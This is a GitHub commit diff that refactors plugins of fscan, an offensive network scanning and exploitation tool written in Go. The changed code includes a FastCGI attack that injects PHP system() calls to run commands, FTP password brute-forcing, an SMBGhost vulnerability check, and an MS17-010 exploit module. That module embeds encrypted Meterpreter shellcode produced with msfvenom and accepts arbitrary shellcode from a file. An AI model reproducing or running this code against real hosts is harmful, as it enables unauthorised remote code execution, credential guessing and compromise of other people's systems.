Merge pull request #1 from artemkomyshan/refactoring

Refactoring
This commit is contained in:
Andrii Ursulenko 2023-07-26 12:19:49 +03:00 committed by GitHub
commit 1e01f27a99
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
36 changed files with 850 additions and 1144 deletions

View File

@ -94,18 +94,18 @@ const (
"\x00\x00\x00\x00"
)
func SmbGhost(info *common.HostInfo) error {
if common.IsBrute {
func SmbGhost(info common.HostInfo, flags common.Flags) error {
if flags.IsBrute {
return nil
}
err := SmbGhostScan(info)
err := SmbGhostScan(info, flags)
return err
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
func SmbGhostScan(info common.HostInfo, flags common.Flags) error {
ip, port, timeout := info.Host, 445, time.Duration(flags.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, timeout)
defer func() {
if conn != nil {
conn.Close()
@ -119,12 +119,15 @@ func SmbGhostScan(info *common.HostInfo) error {
return err
}
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
_ = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return err
}
if bytes.Contains(buff[:n], []byte("Public")) == true {
if bytes.Contains(buff[:n], []byte("Public")) {
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)

View File

@ -4,29 +4,30 @@ import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3"
"net"
"strconv"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3"
)
var netbioserr = errors.New("netbios error")
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *common.HostInfo) error {
netbios, _ := NetBIOS1(info)
func NetBIOS(info common.HostInfo, flags common.Flags) error {
netbios, _ := NetBIOS1(info, flags)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios: %-15s %s", info.Host, output)
common.LogSuccess(result)
return nil
}
return netbioserr
return errNetBIOS
}
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info, flags.Timeout)
var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" {
ss := netbios.ServerService
@ -40,7 +41,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -49,7 +50,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil {
return
}
@ -88,11 +89,11 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
return
}
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
func GetNbnsname(info common.HostInfo, timeout int64) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err := net.DialTimeout("udp", realhost, time.Duration(timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -101,7 +102,7 @@ func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
if err != nil {
return
}
@ -208,7 +209,7 @@ type NetBiosInfo struct {
NetComputerName string `yaml:"NetBiosComputerName"`
}
func (info *NetBiosInfo) String() (output string) {
func (info NetBiosInfo) String() (output string) {
var text string
//ComputerName 信息比较全
if info.ComputerName != "" {
@ -249,7 +250,7 @@ func (info *NetBiosInfo) String() (output string) {
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
if len(input) < 57 {
err = netbioserr
err = errNetBIOS
return
}
data := input[57:]
@ -281,7 +282,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
}
}
if len(msg) == 0 {
err = netbioserr
err = errNetBIOS
return
}
err = yaml.Unmarshal([]byte(msg), &netbios)
@ -293,7 +294,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
if len(ret) < 47 {
err = netbioserr
err = errNetBIOS
return
}
var num1, num2 int
@ -328,7 +329,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
_, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}

View File

@ -6,34 +6,35 @@ import (
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"strconv"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
if common.IsBrute {
func FcgiScan(info common.HostInfo, flags common.Flags) {
if flags.IsBrute {
return
}
url := "/etc/issue"
if common.Path != "" {
url = common.Path
if flags.Path != "" {
url = flags.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
switch {
case common.Command == "read":
case flags.Command == "read":
reqParams = ""
case common.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
case flags.Command != "":
reqParams = "<?php system('" + flags.Command + "');die('" + cutLine + "');?>"
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
}
@ -54,7 +55,7 @@ func FcgiScan(info *common.HostInfo) {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, common.Timeout)
fcgi, err := New(addr, flags)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
@ -93,21 +94,21 @@ func FcgiScan(info *common.HostInfo) {
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string
var output = string(stdout)
if strings.Contains(string(stdout), cutLine) { //命令成功回显
output = strings.SplitN(string(stdout), cutLine, 2)[0]
if strings.Contains(output, cutLine) { // 命令成功回显
out := strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out)
}
common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
}
common.LogSuccess(result)
}
}
@ -182,8 +183,8 @@ type FCGIClient struct {
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
func New(addr string, flags common.Flags) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
@ -191,38 +192,31 @@ func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
return
}
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
this.mutex.Lock()
defer this.mutex.Unlock()
this.buf.Reset()
this.h.init(recType, reqId, len(content))
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.buf.Reset()
c.h.init(recType, reqId, len(content))
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
return err
}
if _, err := this.buf.Write(content); err != nil {
if _, err := c.buf.Write(content); err != nil {
return err
}
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
return err
}
_, err = this.rwc.Write(this.buf.Bytes())
_, err = c.rwc.Write(c.buf.Bytes())
return err
}
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(this, recType, reqId)
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(c, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
@ -241,29 +235,6 @@ func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
@ -324,21 +295,21 @@ func (w *streamWriter) Close() error {
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer this.rwc.Close()
defer c.rwc.Close()
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = this.writePairs(FCGI_PARAMS, reqId, env)
err = c.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
@ -348,23 +319,26 @@ func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []
var err1 error
// recive untill EOF or FCGI_END_REQUEST
OUTER:
for {
err1 = rec.read(this.rwc)
err1 = rec.read(c.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
switch rec.h.Type {
case FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
case FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
case FCGI_END_REQUEST:
fallthrough
default:
break
break OUTER
}
}

View File

@ -4,9 +4,10 @@ import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
var (
@ -15,14 +16,14 @@ var (
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
err := FindnetScan(info)
func Findnet(info common.HostInfo, flags common.Flags) error {
err := FindnetScan(info, flags)
return err
}
func FindnetScan(info *common.HostInfo) error {
func FindnetScan(info common.HostInfo, flags common.Flags) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -31,7 +32,7 @@ func FindnetScan(info *common.HostInfo) error {
if err != nil {
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil {
return err
}

View File

@ -2,19 +2,20 @@ package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return
}
starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "")
if flag == true && err == nil {
flag, err := FtpConn(info, "anonymous", "", flags.Timeout)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
@ -28,8 +29,8 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag == true && err == nil {
flag, err := FtpConn(info, user, pass, flags.Timeout)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -38,7 +39,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
@ -47,10 +48,10 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func FtpConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second))
if err == nil {
err = conn.Login(Username, Password)
if err == nil {

View File

@ -3,15 +3,16 @@ package Plugins
import (
"bytes"
"fmt"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
)
var (
@ -21,14 +22,14 @@ var (
livewg sync.WaitGroup
)
func CheckLive(hostslist []string, Ping bool) []string {
func CheckLive(hostslist []string, ping bool, liveTop int) []string {
chanHosts := make(chan string, len(hostslist))
go func() {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if !common.Silent {
if !Ping {
if !ping {
color.Green("(icmp) Target %-15s is alive\n", ip)
} else {
color.Green("(ping) Target %-15s is alive\n", ip)
@ -40,17 +41,17 @@ func CheckLive(hostslist []string, Ping bool) []string {
}
}()
if Ping == true {
//使用ping探测
if ping {
// use ping detection
RunPing(hostslist, chanHosts)
} else {
//优先尝试监听本地icmp,批量探测
// try to listen to local icmp first, batch detection
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
} else {
common.LogError(err)
//尝试无监听icmp探测
// Try no listening icmp probe
fmt.Println("trying RunIcmp2")
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
defer func() {
@ -62,7 +63,7 @@ func CheckLive(hostslist []string, Ping bool) []string {
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
// use ping detection
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
@ -74,14 +75,14 @@ func CheckLive(hostslist []string, Ping bool) []string {
close(chanHosts)
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
common.LogSuccess(output)
}
}
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
common.LogSuccess(output)
@ -95,7 +96,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
endflag := false
go func() {
for {
if endflag == true {
if endflag {
return
}
msg := make([]byte, 100)
@ -118,7 +119,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
if len(AliveHosts) == len(hostslist) {
break
}
since := time.Now().Sub(start)
since := time.Since(start)
var wait time.Duration
switch {
case len(hostslist) <= 256:
@ -298,7 +299,7 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
}
i := 0
for _ = range arrMap1 {
for range arrMap1 {
var maxCountKey string
var maxCountVal = 0
for key, val := range arrMap2 {

View File

@ -2,21 +2,22 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
func MemcachedScan(info *common.HostInfo) (err error) {
func MemcachedScan(info common.HostInfo, flags common.Flags) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() {
if client != nil {
client.Close()
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = client.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {

View File

@ -2,16 +2,17 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
func MongodbScan(info *common.HostInfo) error {
if common.IsBrute {
func MongodbScan(info common.HostInfo, flags common.Flags) error {
if flags.IsBrute {
return nil
}
_, err := MongodbUnauth(info)
_, err := MongodbUnauth(info, flags)
if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error {
return err
}
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err error) {
flag = false
// op_msg
packet1 := []byte{
@ -48,7 +49,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
checkUnAuth := func(address string, packet []byte) (string, error) {
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
if err != nil {
return "", err
}
@ -57,7 +58,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
conn.Close()
}
}()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil {
return "", err
}

View File

@ -5,18 +5,19 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"io/ioutil"
"net"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
func MS17010EXP(info *common.HostInfo) {
func MS17010EXP(info common.HostInfo, flags common.Flags) {
address := info.Host + ":445"
var sc string
switch common.SC {
switch flags.SC {
case "bind":
//msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
@ -33,16 +34,16 @@ func MS17010EXP(info *common.HostInfo) {
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
sc = AesDecrypt(sc_enc, key)
default:
if strings.Contains(common.SC, "file:") {
read, err := ioutil.ReadFile(common.SC[5:])
if strings.Contains(flags.SC, "file:") {
read, err := os.ReadFile(flags.SC[5:])
if err != nil {
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err)
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", flags.SC, err)
common.LogError(errlog)
return
}
sc = fmt.Sprintf("%x", read)
} else {
sc = common.SC
sc = flags.SC
}
}

View File

@ -5,9 +5,10 @@ import (
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
var (
@ -23,11 +24,11 @@ var (
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
)
func MS17010(info *common.HostInfo) error {
if common.IsBrute {
func MS17010(info common.HostInfo, flags common.Flags) error {
if flags.IsBrute {
return nil
}
err := MS17010Scan(info)
err := MS17010Scan(info, flags)
if err != nil {
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
common.LogError(errlog)
@ -35,10 +36,10 @@ func MS17010(info *common.HostInfo) error {
return err
}
func MS17010Scan(info *common.HostInfo) error {
func MS17010Scan(info common.HostInfo, flags common.Flags) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -48,7 +49,7 @@ func MS17010Scan(info *common.HostInfo) error {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
